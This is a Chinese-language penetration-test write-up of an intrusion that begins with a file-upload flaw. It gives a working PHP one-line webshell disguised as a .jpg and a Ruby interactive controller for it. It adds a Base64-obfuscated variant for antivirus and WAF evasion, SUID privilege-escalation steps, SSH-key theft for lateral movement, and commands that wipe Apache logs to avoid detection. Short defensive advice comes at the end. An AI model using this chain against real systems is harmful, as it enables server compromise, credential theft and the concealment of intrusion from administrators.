0x01 溯源:一次内网渗透中意外的发现
一次对某企业进行授权内网渗透测试时,目标是模拟攻击者从外部突破到内网,然后进一步获取敏感数据。起初,团队在明面上并没有发现太多直接的攻击面。既没有暴露的高危端口,也没有使用弱密码的服务。看似平静的网络环境背后,是否隐藏着可以利用的弱点?
通过对目标 Web 应用的仔细分析,我发现在某个开发环境的管理后台中存在文件上传功能,且并未对上传文件的类型进行严格校验。于是,我决定利用这一漏洞,将一句话木马上传到服务器,从而获得初步的命令执行能力。
接下来,我会带领大家深入还原这次渗透过程,完整展示从上传木马到权限提升的全过程,并结合 Ruby 和 Shell 的代码,展示如何进一步武器化这项技术。
---
0x02 文件上传漏洞的利用
文件上传检测与验证
目标站点的后台提供了一个文件上传功能,允许用户上传图片文件。然而,通过测试,我发现上传的文件并未进行严格的 MIME 类型校验,仅仅是通过文件后缀名进行了简单的限制。
以下是我通过 Burp Suite 对上传请求进行拦截的关键部分:
<pre><code class="language-http">POST /upload HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary Content-Length: 346
------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="test.jpg" Content-Type: image/jpeg
<binary content> ------WebKitFormBoundary--</code></pre>
为了绕过限制,我直接将文件名改为带有 .jpg 后缀的一句话木马脚本(以 PHP 为例):
<pre><code class="language-php"><?php @eval($_POST['cmd']); ?></code></pre>
随后,我在请求的 Content-Type 中依旧保留 image/jpeg,成功绕过了服务端的检测,并将木马文件上传到了目标服务器。上传完成后,我通过返回的信息定位到了木马的访问路径:
<pre><code>http://target.com/uploads/test.jpg</code></pre>
为了验证木马是否可用,我使用了以下简单的 POST 请求测试命令执行:
<pre><code class="language-bash">curl -X POST -d "cmd=phpinfo();" http://target.com/uploads/test.jpg</code></pre>
如果目标返回了 PHP 信息页面,说明木马已成功执行。
---
0x03 Shell 的控制与扩展
使用 Ruby 构造控制端
为了方便后续操作,我用 Ruby 编写了一个简单的控制端脚本,能够与目标木马交互并发送命令:
<pre><code class="language-ruby">require 'net/http' require 'uri'
目标木马的 URL
TARGET_URL = 'http://target.com/uploads/test.jpg'

发送命令并获取结果
def send_command(cmd) uri = URI.parse(TARGET_URL) request = Net::HTTP::Post.new(uri) request.set_form_data('cmd' => cmd)

response = Net::HTTP.start(uri.hostname, uri.port) do |http| http.request(request) end
puts response.body end
交互式命令行
loop do print "shell> " cmd = gets.chomp break if cmd == 'exit' send_command(cmd) end</code></pre>
运行这段代码后,就可以在本地与目标进行交互,发送系统命令并获取执行结果。
添加免杀处理
为了防止目标服务器的杀软或 WAF 检测到木马,我对脚本进行了简单混淆。例如,将 eval 替换为 Base64 编码后解码运行:
<pre><code class="language-php"><?php eval(base64_decode($_POST['cmd'])); ?></code></pre>
在发送命令时,需要将命令进行 Base64 编码:
<pre><code class="language-ruby">require 'base64'
def send_command(cmd) encoded_cmd = Base64.strict_encode64(cmd)
发送 Base64 编码后的命令
end</code></pre>
---
0x04 提权与横向移动
权限提升
通过目标服务器的 whoami 命令确认当前用户权限后,我发现是一个低权限的 Web 用户。为了进行权限提升,我开始搜集目标系统的漏洞信息。
在 /etc/passwd 文件中,我发现了一些具有 sudo 权限的用户。接着,我尝试了常见的提权漏洞,比如 SUID 文件检查和内核提权漏洞。
以下是一段用于快速查找 SUID 文件的 Shell 脚本:
<pre><code class="language-bash">find / -perm -4000 2>/dev/null</code></pre>
在这次渗透测试中,我发现目标系统上存在一个被错误配置的 SUID 文件 /usr/local/bin/custom_script,允许任意用户以 root 权限执行。
横向移动
获取 root 权限后,我提取了系统中的所有 SSH 密钥,并发现了一些可以用来登录其他服务器的钥匙。利用这些钥匙,我在内网中横向移动,进一步扩大了攻击范围。
---
0x05 痕迹清理的关键点
在完成测试后,我对所有操作进行了清理,确保不会留下可被检测到的痕迹:
- 删除上传的木马文件:
- 清空日志文件:
- 恢复文件权限和配置,避免引起管理员的注意。
`bash rm /var/www/uploads/test.jpg `
`bash echo > /var/log/apache2/access.log echo > /var/log/apache2/error.log `
---
0x06 个人经验:如何避免落入攻击者圈套
在这次渗透测试中,我深刻感受到文件上传功能是 Web 应用最容易被忽视的薄弱点之一。如果我是攻击者,会将重点放在以下几点:
- 绕过检测机制:通过文件后缀、MIME 类型伪装等手段规避服务端检查。
- 武器化木马:对载荷进行混淆处理,增加免杀能力。
- 权限进一步扩展:结合目标系统的特性,选择最适合的提权方法。
作为防御方,以下措施可以有效减少此类攻击的发生:
- 严格限制上传文件类型:不仅需检查文件后缀,还应验证文件内容和 MIME 类型是否匹配。
- 隔离上传目录:将上传文件存储在与主应用不同的目录或服务器上,并限制可执行权限。
- 监控异常行为:及时发现和阻断可疑的文件上传和命令执行行为。
---
终章:工具与攻击者思维的结合
这次渗透测试让我再次验证了攻击者思维的重要性:即便目标环境防护看似严密,总能找到一些意想不到的突破口。而一句话木马虽然是老生常谈,但只要搭配适当的工具和技巧,依然可以成为强大的武器。
最后提醒大家,本文仅供授权的渗透测试和安全研究使用,请务必遵守相关法律法规!
